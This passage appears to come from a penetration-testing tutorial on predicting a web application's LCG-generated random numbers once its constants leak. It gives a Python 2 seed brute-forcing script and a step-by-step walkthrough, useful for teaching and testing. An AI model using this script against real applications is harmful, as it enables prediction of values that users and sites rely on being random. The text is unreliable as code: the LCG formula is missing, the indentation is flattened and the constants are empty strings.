LCGs are used in web applications to create quick and easy pseudo-random numbers. They are by nature broken and can be easily made to be predictable with enough data. The algorithm for an LCG is:
Here, X is the current value, a is a fixed multiplier, c is a fixed increment, and m is a fixed modulus. If any data is leaked, such as the multiplier, modulus, and increment in this example, it is possible to calculate the seed and thus the next values.
The situation here is where an application is generating random 2-digit numbers and returning them to you. You have the multiplier, modulus, and increment. This may seem strange, but this has happened in live tests.
Here is the code:
C = ""
A = ""
M = ""
print "Starting attempt to brute"
for i in range(1, 99999999):
a = str((A * int(str(i)+'00') + C) % 2**M)
if a[-2:] == "47":
b = str((A * int(a) + C) % 2**M)
if b[-2:] == "46":
c = str((A * int(b) + C) % 2**M)
if c[-2:] == "57":
d = str((A * int(c) + C) % 2**M)
if d[-2:] == "56":
e = str((A * int(d) + C) % 2**M)
if e[-2:] == "07":
f = str((A * int(e) + C) % 2**M)
if f[-2:] == "38":
g = str((A * int(f) + C) % 2**M)
if g[-2:] == "81":
h = str((A * int(g) + C) % 2**M)
if h[-2:] == "32":
j = str((A * int(h) + C) % 2**M)
if j[-2:] == "19":
k = str((A * int(j) + C) % 2**M)
if k[-2:] == "70":
l = str((A * int(k) + C) % 2**M)
if l[-2:] == "53":
print "potential number found: "+l
print "next 9 values are:"
for i in range(1, 10):
l = str((A * int(l) + C) % 2**M)
print l[-2:]We set our three values, the increment, the multiplier, and the modulo as C, A, and M respectively:
C = "" A = "" M = ""
We then declare the range for the possible size of the seed, which in this case would be between one and eight digits long:
for i in range(1, 99999999):
We then perform our first LCG transformation and generate possible values with the first value taken from the web page marked highlighted in the following example:
a = str((A * int(str(i)+'00') + C) % 2**M)We take the second value generated by the web page and check the outcome of this transform against that:
if a[-2:] == "47":If it works, we then perform the next transform with the numbers that matched the first transform:
b = str((A * int(a) + C) % 2**M)
We repeat this process 10 times here, but it can be reproduced as many times as necessary until we find an output that has matched all the numbers so far. We print an alert with that number:
print "potential number found: "+l
We then repeat the process 10 more times, with that number as the seed to generate the next 10 values to allow us to predict the new values.